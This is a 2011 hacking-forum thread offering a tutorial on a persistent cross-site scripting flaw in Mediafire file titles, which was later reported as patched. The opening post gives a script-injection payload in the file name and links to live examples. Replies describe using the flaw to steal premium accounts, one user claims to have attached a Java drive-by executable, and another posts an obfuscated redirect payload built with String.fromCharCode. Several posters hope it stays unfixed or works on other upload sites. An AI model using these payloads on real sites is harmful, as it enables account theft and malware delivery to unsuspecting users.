

Forum:[Hack Forums](#)

Thread: [??? Mediafire.com Persistent XSS \[Tut\] ???](#)

Numinous - August 22, 2011, 1:37 am

??? Mediafire Persistent XSS [Tut] ???

Mediafire.com suffers from a persistent XSS vulnerability within its file uploads.

After a user has uploaded their file they can change the title of the file.

To something like

Code `<script>alert('Chetan')</script> .txt`

Check these Examples:-

<http://www.mediafire.com/?37q503pdsda7k3r>

OR

<http://www.mediafire.com/?kkbrj6h6ou7v335>

OR

<http://www.mediafire.com/?c49cukaveu195wv>

OR

<https://hackforums.net/showthread.php?tid=1636543&pid=14941431#pid14941431>

OR

<https://hackforums.net/showthread.php?tid=1636543&pid=14939567#pid14939567>

simply_mark - August 22, 2011, 2:10 am

What are the pros and cons of using this trick mate? I don't understand, sorry I'm noob. :)

Galithiel - August 22, 2011, 2:17 am

(Aug 22, 2011 02:10 AM)simply_mark Wrote: [\[CITE\]](#) What are the pros and cons of using this trick mate? I don't understand, sorry I'm noob. :)

You can steal premium accounts or make them download another thing, etc...

Pseudonym - August 22, 2011, 4:55 am

Good job finding that. And also nice sharing with other people, I bet that most people wouldn't do it for various reasons whether to want it misuse personally or report it to the admin. On the other hand, haven't you written in other thread something about being ethical?

conan_1 - August 22, 2011, 5:54 am

Seems a good job for me, I have to stop sqli and give some time to xss xD

Middle - August 22, 2011, 6:04 am

Haha wow nice find!

This could come in handy :D

Anti-trust - August 22, 2011, 6:35 am

(Aug 22, 2011 01:37 AM)h4CK-0-1Nd14 Wrote: [\[CITE\]](#) ??? Mediafire Persistent XSS [Tut] ???

Mediafire.com suffers from a persistent XSS vulnerability within its file uploads.

After a user has uploaded their file they can change the title of the file.

To something like

Code `<script>alert('Chetan')</script>` .txt

Check this Example:-

<http://www.mediafire.com/?37q503pdsda7k3r>

yeahh good job rep +1 Enjoy ?

Ph03.nix - August 22, 2011, 6:51 am

Wow, awesome find. Thank you very much for this share ?

Basics. - August 22, 2011, 6:56 am

That's quite a find, though I think it has been posted before but nonetheless good job.

D-gravE - August 22, 2011, 7:59 am

Good job finding that. And also nice sharing with other people,

ryonan - August 22, 2011, 8:03 am

that's so cool man, gonna give this a try

ericosman - August 22, 2011, 8:54 am

nice this will become helpfull :)

hope it wont get fixed

Numinous - August 22, 2011, 9:32 am

Thanx 4 all of you for being stay here and Now i wanna ask one question

How we protect a site from XSS???

SuburbanInsanity - August 22, 2011, 9:35 am

So if you upload a java drive-by jar, you could run it using another random upload directly on mediafire? interesting.

Layfon - August 22, 2011, 10:05 am

hmmm is `<script>` the only thing we can do>?

N3mesis - August 22, 2011, 10:06 am

This could come in handy :D

Thanks

urk - August 22, 2011, 10:07 am

Tried it and it didn't work. I probably did something wrong LOL.

Thanks

Numinous - August 22, 2011, 10:11 am

First u upload a file in mediafire then go to Files then rename the file as like this

Code `<script>alert('Anything')</script> .txt(Any Extension)`
Then Save it

iVision - August 22, 2011, 10:16 am

That's cool ;D

Let someone figure it out how you could using it for deleting password protected files :P

?BlueAce™ - August 22, 2011, 10:18 am

WTF...!!

I just added a Java Drive by to it!!

<http://www.mediafire.com/?kkbrj6h6ou7v335>

Numinous - August 22, 2011, 10:21 am

(Aug 22, 2011 10:18 AM)BlueAce_Pragy Wrote: [\[CITE\]](#) WTF...!!

I just added a Java Drive by to it!!

<http://www.mediafire.com/?kkbrj6h6ou7v335>

Hey bro Ur XSS Attack is working correctly
check this

Mediafire sucks by XSS Attack

?BlueAce™ - August 22, 2011, 10:25 am

(Aug 22, 2011 10:21 AM)h4CK-0-1Nd14 Wrote: [\[CITE\]](#) Hey bro Ur XSS Attack is working correctly
check this

Mediafire sucks by XSS Attack
and u were stupid enough to try it!! ??? ..

Numinous - August 22, 2011, 10:30 am

Man I Opened this link in Sandboxie and when a popup window comes then i close it

Tate - August 22, 2011, 10:31 am

To redirect, type your website to redirect to in the converter box here: <http://jdstiles.com/java/cct.html>

[img]http://screensnapr.com/e/MkGUq3.jpg[/img]

Then use this script in your title:

Code `<script>document.location=String.fromCharCode(your char codes)</script> .txt`

For example:

Code `<script>document.location=String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 119, 119, 119, 46, 121, 111, 117, 116, 117, 98, 101, 46, 99, 111, 109, 47, 119, 97, 116, 99, 104, 63, 118, 61, 111, 111, 78, 80, 51, 50, 69, 111, 78, 48, 73)</script> .txt`

?BlueAce™ - August 22, 2011, 10:32 am

(Aug 22, 2011 10:30 AM)h4CK-0-1Nd14 Wrote: [\[CITE\]](#) Man I Opened this link in Sandboxie and
when a popup window comes then i close it
ohkk..

its not a virus anyways.. just a vb6 exe i made in 10 seconds.. I did not even save the project.. lol ..
:P .. just generated the exe..

ayteck - August 22, 2011, 11:03 am

here is it <https://hackforums.net/showthread.php?tid=1637729&pid=14940266#pid14940266>

Numinous - August 22, 2011, 11:46 am

The guys having problem to do XSS Attack on Mediafire then simply see this pic

alonalon - August 22, 2011, 11:50 am

That's really cool, nice find and keep up the good work.

Edit:

Jave script also works, wonder where we can it to:

<http://www.mediafire.com/?865lcvkfo8osi9o>

Edit2:

It was patched, therefor this tut doesn't work anymore, I'd suggest to mention that in the 1st post.

username.txt - August 22, 2011, 2:06 pm

Yeah, I was just going to say this no longer works...

FZ4NZ - August 30, 2011, 8:25 am

Hmmm...

I bet this still works on other upload sites though

Numinous - August 30, 2011, 11:09 am

(Aug 22, 2011 02:06 PM)username.txt Wrote: [\[CITE\]](#) Yeah, I was just going to say this no longer works...

bro Now this was Patched by MediaFire

But i hope so it would works on other uploading sites..

m1ndfr3ak - October 3, 2011, 2:32 am

nice find dude its cool keep it up dude :D

-Syn - April 17, 2013, 9:13 pm

not working bro :D ... btw ... nice share !

fatalevidence - April 17, 2013, 10:21 pm

Nice share... Shame its been patched.